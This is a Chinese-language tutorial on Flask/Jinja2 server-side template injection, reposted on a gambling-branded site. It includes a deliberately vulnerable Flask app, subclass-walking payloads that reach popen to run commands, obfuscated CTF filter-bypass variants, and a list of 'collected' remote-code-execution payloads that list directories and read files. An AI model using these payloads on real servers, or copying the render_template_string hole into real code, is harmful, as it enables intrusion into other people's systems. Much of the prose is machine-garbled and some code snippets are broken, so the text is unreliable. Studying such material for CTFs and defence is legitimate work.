欢迎访问Sunbet官网(www.sunbet.us),Allbet欧博官网(www.ALLbetgame.us)!

首页Sunbet_安全预警正文

详解flask的ssti模版注入

b9e08c31ae1faa592018-12-24646

前言

在进修ssti模版注入的时刻,发明国内文章关于都是基于python基本之上的,关于基本代码讲的较少,而关于一些处置平安的老手师傅们,可以或许python只停留在写剧本上,以是上手的时刻可以或许有点难度,究竟结果不是搞python flask开辟。就本身进修ssti而言,入手有点难度,以是特写此文,关于一些不须要穷究python然则须要进修ssti的师傅,本文可以或许让你对flask的ssti有所相识。

ssti漏洞成因

ssti服务端模板注入,ssti重要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等运用了衬着函数时,由于代码不范例或信托了用户输入而致使了服务端模板注入,模板衬着实在并没有漏洞,主若是递次员对代码不范例不松散形成了模板注入漏洞,形成模板可控。本文偏重对flask模板注入举行浅析。

模板引擎

起首我们先解说下甚么是模板引擎,为何须要模板,模板引擎可以或许让(网站)递次完成界面与数据星散,营业代码与逻辑代码的星散,这大大提拔了开辟效力,优越的设想也使得代码重用变得越发轻易。然则每每新的开辟都邑致使一些平安题目,固然模板引擎会供应沙箱机制,但异样存在沙箱逃逸手艺来绕过。 模板只是一种供应给递次来理会的一种语法,换句话说,模板是用于从数据(变量)到现实的视觉显示(HTML代码)这项事情的一种完成手腕,而这类手腕岂论在前端照样后端都有运用。 浅显点邃晓:拿到数据,塞到模板里,然后让衬着引擎将赛进去的器械天生 html 的文本,返回给浏览器,如许做的优点展现数据快,大大提拔效力。 后端衬着:浏览器会间接接收到经由服务器盘算以后的显现给用户的终究的HTML字符串,盘算就是服务器后端经由理会服务器端的模板来完成的,后端衬着的优点是对前端浏览器的压力较小,重要任务在服务器端就曾经完成。 前端衬着:前端衬着相反,是浏览器从服务器获得信息,多是json等数据包封装的数据,也多是html代码,他都是由浏览器前端来理会衬着成html的人们可视化的代码而显如今用户眼前,优点是关于服务器后端压力较小,重要衬着在用户的客户端完成。 让我们用例子来简析模板衬着。
<html>
<div>{$what}</div>
</html>
我们想要显如今每一个用户眼前本身的名字。然则{$what}我们不晓得用户名字是甚么,用一些url或许cookie包罗的信息,衬着到what变量里,显现给用户的为
<html>
<div>张三</div>
</html>
固然这只是最简朴的示例,一般来说,最少会供应分支,迭代。另有一些内置函数。

甚么是服务端模板注入

经由过程模板,我们可以或许经由过程输入转换成特定的HTML文件,好比一些博客页面,上岸的时刻可以或许会返回 hi,张三。这个时刻张三可以或许就是经由过程你的身份信息而衬着成html返回到页面。经由过程Twig php模板引擎来做示例。
$output = $twig->render( $_GET[‘custom_email’] , array(“first_name” => $user.first_name) );
可以或许你发明了它存在XSS漏洞,间接输入XSS代码便会弹窗,这没错,然则仔细观察,其他由于代码不范例他还存在着更为严重的ssti漏洞,假定我们的 url:xx.xx.xx/?custom_email={{7*7}} 将会返回49 我们继续custom_email={{self}} 返回 f<templatereference none=""></templatereference> 是的,在{{}}里,他将我们的代码举行了实行。服务器将我们的数据经由引擎理会的时刻,举行了实行,模板注入与sql注入成因有点相似,都是信托了用户的输入,将不牢靠的用户输入不经由滤间接举行了实行,用户插入了恶意代码异样也会实行。接上去我们会讲到重点。敲黑板。

flask情况当地搭建(略详)

搭建flask我挑选了 pycharm,先生的话可以或许免费下载专业版。下载装置这一步我就不说了。 情况:python 3.6+ 基本:0- 简朴测试 pycharm装置flask会主动导入了flask所需的模块,以是我们只须要敕令装置所须要的包就可以或许了,发起用python3.6进修而不是2.X,究竟结果django的都将近不支持2.X了,早换早超生。主动导入的也是python 3.6。 详解flask的ssti模版注入  第1张 运转这边会出小错,由于此时我们还没有装置flask模块, 详解flask的ssti模版注入  第2张 如许就可以或许一般运转了,运转胜利便会返回
* Debug mode: off
 * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
127.0.0.1 - - [14/Dec/2018 20:32:20] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [14/Dec/2018 20:32:20] "GET /favicon.ico HTTP/1.1" 404 -
此时可以或许在web上运转hello world了,接见http://127.0.0.1:5000 便可以或许看到打印出Hello World

route装潢器路由

@app.route('/')
运用route()装潢器通知Flask甚么样的URL能触发我们的函数.route()装潢器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由追随一个函数,如
@app.route('/')
def test()"
   return 123
接见127.0.0.1:5000/则会输入123,我们修正一下划定规矩
@app.route('/test')
def test()"
   return 123
这个时刻接见127.0.0.1:5000/test会输入123. 另外还可以或许设置动态网址,
@app.route("/hello/<username>")
def hello_user(username):
  return "user:%s"%username
依据url里的输入,动态区分身份,此时便可以或许看到以下页面: 详解flask的ssti模版注入  第3张 或许可以或许运用int型,转换器有上面几种:
int    接收整数
float    同 int ,然则接收浮点数
path    和默许的相似,但也接收斜线

@app.route('/post/<int:post_id>')
def show_post(post_id):
    # show the post with the given id, the id is an integer
    return 'Post %d' % post_id

main进口

当.py文件被间接运转时,if name == ‘main‘之下的代码块将被运转;当.py文件以模块情势被导入时,if name == ‘main‘之下的代码块不被运转。若是你常常以cmd体式格局运转本身写的python小剧本,那末不须要这个器械,然则若是须要做一个轻微大一点的python开辟,写 if name ==’main__’ 是一个优越的习气,大一点的python剧本要离开几个文件来写,一个文件要运用另一个文件,也就是模块,此时这个if就会起到感化不会运转而是相似于文件包罗来运用。
if __name__ == '__main__':
    app.debug = True
    app.run()
测试的时刻,我们可以或许运用debug,轻易调试,增添一句
app.debug = True
或许(结果是一样的) app.run(debug=True) 如许我们修正代码的时刻间接生存,网页革新就可以或许了,若是不加debug,那末每次修正代码都要运转一次递次,而且把前一个递次封闭。不然会被前一个递次掩盖。
app.run(host='0.0.0.0')
这会让操作体系监听统统公网 IP,此时便可以或许在公网上看到本身的web。

模板衬着(重点)

你可以或许运用 render_template() 要领来衬着模板。你须要做的统统就是将模板名和你想作为关键字的参数传入模板的变量。这里有一个展现怎样衬着模板的简例: 简朴的模版衬着示例
from flask import render_template

@app.route('/hello/')
@app.route('/hello/<name>')
def hello(name=None):
        return render_template('hello.html', name=name)//我们hello.html模板未建立以是这段代码临时供欣赏,无妨往下继续看
我们从模板衬着最先实例,由于我们究竟结果不是做开辟的,flask以模板注入著名- -!,以是我们先从flask模版衬着入手深切理会。 起首要搞清楚,模板衬着体系,render_template函数衬着的是templates中的模板,所谓模板是我们本身写的html,内里的参数须要我们依据每一个用户需求传入动态变量。
├── app.py  
├── static  
│   └── style.css  
└── templates  
    └── index.html
详解flask的ssti模版注入  第4张 我们写一个index.html文件写templates文件夹中。
<html>
  <head>
    <title>{{title}} - 小猪佩奇</title>
  </head>
 <body>
      <h1>Hello, {{user.name}}!</h1>
  </body>
</html>
内里有两个参数须要我们衬着,user.name,和title 我们在app.py文件里举行衬着。
@app.route('/')
@app.route('/index')#我们接见/或许/index都邑跳转
def index():
   user = {'name': '小猪佩奇'}#传入一个字典数组
   return render_template("index.html",title='Home',user=user)
详解flask的ssti模版注入  第5张 Image此次衬着我们没有运用用户可控,以是是平安的,若是我们交给用户可控而且不过滤参数就有可以或许形成SSTI模板注入漏洞。

flask实战

此时我们情况曾经搭建好了,可以或许举行更深一步的解说了,以上彷佛我们解说运用了php代码为啥题目是flask呢,没紧要我们如今进入重点!!!--》》flask/jinja2模版注入 Flask是一个运用Python编写的轻量级web运用框架,其WSGI工具箱接纳Werkzeug,模板引擎则运用Jinja2。这里我们提早给出漏洞代码。接见http://127.0.0.1:5000/test 即可
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string

app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div> 
    ''' %(request.url)

    return render_template_string(template)

if __name__ == '__main__':
    app.debug = True
    app.run()

flask漏洞成因

为何说我们上面的代码会有漏洞呢,实在关于代码功底比较深的师傅,是不会存在ssti漏洞的,被一些偷懒的师傅简化了代码,以是形成了ssti。上面的代码我们本可以或许写成相似以下的情势。
<html>
  <head>
    <title>{{title}} - 小猪佩奇</title>
  </head>
 <body>
      <h1>Hello, {{user.name}}!</h1>
  </body>
</html>
内里有两个参数须要我们衬着,user.name,和title 我们在app.py文件里举行衬着。
@app.route('/')
@app.route('/index')#我们接见/或许/index都邑跳转
def index():
   return render_template("index.html",title='Home',user=request.args.get("key"))
也就是说,两种代码的情势是,一种当字符串来衬着而且运用了%(request.url),另一种范例运用index.html衬着文件。我们漏洞代码运用了render_template_string函数,而若是我们运用render_template函数,将变量传入进去,如今纵然我们写成了request,我们可以或许在url里写本身想要的恶意代码{{}}你将会发明以下: 详解flask的ssti模版注入  第6张 纵然username可控了,然则代码曾经其实不见效,并非你错了,是代码对了。这里题目出在,优越的代码范例,使得模板实在曾经流动了,曾经被render_template衬着了。你的模板衬着实在曾经不可控了。而漏洞代码的题目出在这里
def test():
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div> 
    ''' %(request.url)
注重%(request.url),递次员由于费事其实不会特地写一个html文件,而是间接当字符串来衬着。而且request.url是可控的,这也恰是flask在CTF中常常运用的手腕,报错404,返回以后毛病url,一般CTF的flask若是是ssti,那末八九不离十就是基于这段代码,多的就是一些过滤和一些奇奇怪怪的要领函数。如今你曾经邃晓了flask的ssti成因和代码了。接上去我们进入实战。

当地情况进一步剖析

上面我们曾经放出了漏洞代码无过滤版本。如今我们穷究怎样应用ssti进击。 如今我们曾经晓得了在flask中{{}}内里的代码将会实行。那末怎样应用关于一个python小白可以或许照样一头雾水,若是之前没有深切进修过python,那末接上去可以或许让你关于poc轻微有点相识。进入正题。 在python中,object类是Python中统统类的基类,若是界说一个类时没有指定继续哪一个类,则默许继续object类。我们从这段话动身,假定你曾经晓得ssti漏洞了,然则完整没学过ssti代码怎样写,接上去你可以或许会学到一点空话。 我们在pycharm中运转代码
print("".__class__)
返回了<class 'str'>,关于一个空字符串他曾经打印了str范例,在python中,每一个类都有一个bases属性,列出其基类。如今我们写代码。
print("".__class__.__bases__)
打印返回(<class 'object'>,),我们曾经找到了他的基类object,而我们想要寻觅object类的不单单只要bases,异样可以或许运用mromro给出了method resolution order,即理会要领挪用的递次。我们实例打印一下mro。
print("".__class__.__mro__)
可以或许看到返回了(<class 'str'>, <class 'object'>),异样可以或许找到object类,恰是由于这些但不仅限于这些要领,我们才有了种种沙箱逃逸的姿态。正如上面的诠释,mro返回相识析要领挪用的递次,将会打印两个。在flask ssti中poc中很大一部分是从object类中寻觅我们可应用的类的要领。我们这里只举例最简朴的。接上去我们增添代码。接上去我们运用subclasses,subclasses() 这个要领,这个要领返回的是这个类的子类的鸠合,也就是object类的子类的鸠合。
print("".__class__.__bases__[0].__subclasses__())
python 3.6 版本下的object类下的要领鸠合。这里要记着一点2.7和3.6版本返回的子类不是一样的,然则2.7有的3.6大部分都有。须要本身寻觅适宜的标号来挪用接上去我将进一步诠释。打印以下:
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'moduledef'>, <class 'module'>, <class 'BaseException'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class 'PyHKEY'>, <class 'zipimport.zipimporter'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_itemiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>, <class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStreamReader'>, <class 'MultibyteStreamWriter'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'collections._Link'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'functools.partialmethod'>, <class 'enum.auto'>, <enum 'Enum'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_sre.SRE_Pattern'>, <class '_sre.SRE_Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.Pattern'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_winapi.Overlapped'>, <class 'subprocess.STARTUPINFO'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
接上去就是我们须要找到适宜的类,然后从适宜的类中寻觅我们须要的要领。这里最先我们不再用pycharm打印了,间接应用上面我们曾经搭建好的漏洞情况来举行测试。经由过程我们在如上这么多类中一个一个查找,找到我们可应用的类,这里举例一种。<class 'os._wrap_close'>,os敕令相信你看到就觉得很亲热。我们恰是要从这个类中寻觅我们可应用的要领,经由过程也许预测找到是第119个类,0也对应一个类,以是这里写[118]。
http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118]}}
详解flask的ssti模版注入  第7张 这个时刻我们便可以或许应用.init.globals来找os类下的,init初始化类,然后globals全局来查找统统的要领及变量及参数。
http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__}}
此时我们可以或许在网页上看到林林总总的参数要领函数。我们找个中一个可应用的function popen,在python2中可找file读取文件,许多可应用要领,概况可百度相识下。
http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()}}
详解flask的ssti模版注入  第8张 此时便可以或许看到敕令曾经实行。若是是在linux体系下便可以或许实行其他敕令。此时我们曾经胜利获得权限。进上去我们将进一步简朴议论怎样举行沙箱逃逸。

ctf中的一些绕过tips

没甚么体系思绪。就是赓续发掘类研讨官方文档和种种可以或许应用的姿态。这里从最简朴的绕过提及。 1.过滤[]等括号 运用gititem绕过。如原poc {{"".class.bases[0]}} 绕事后{{"".class.bases.getitem(0)}} 2.过滤了subclasses,拼集法 原poc{{"".class.bases[0].subclasses()}} 绕过 {{"".class.bases[0]'subcla'+'sses'}} 3.过滤class 运用session poc {{session['cla'+'ss'].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}} 多个bases[0]是由于一直在向上找object类。运用mro就会很轻易
{{session['__cla'+'ss__'].__mro__[12]}}
或许
request['__cl'+'ass__'].__mro__[12]}}
4.timeit姿态 可以或许进修一下 2017 swpu-ctf的一道沙盒python题, 这里不详说了,博学多才,我只领悟一二。
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

import platform
print platform.popen('dir').read()
5.珍藏的一些poc
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}

漏洞发掘

关于一些师傅可以或许更倾向于实战,然则不幸的是实战中险些不会涌现ssti模板注入,或许说很少,大多出如今python 的ctf中。然则我们照样理性剖析下。 每一个(重)模板引擎都有着本身的语法(点),Payload 的组织须要针对各种模板引擎制订其分歧的扫描划定规矩,就犹如 SQL 注入中有着分歧的数据库范例一样。变动要求参数使之承载含有模板引擎语法的 Payload,经由过程页面衬着返回的内容检测承载的 Payload 是不是有获得编译理会,分歧的引擎分歧的理会。以是我们在发掘之前有必要对网站的web框架举行检查,不然许多时刻{{}}并没有效,致使毛病判断。 接上去附张图,实战中要测试重点是看一些url的可控,好比url输入甚么就输入甚么。前期网络好网站的开辟言语和框架,防备毛病应用{{}}而致使毛病判断。以下图较全的反应了ssti的一些模板衬着引擎及应用。 详解flask的ssti模版注入  第9张

网友评论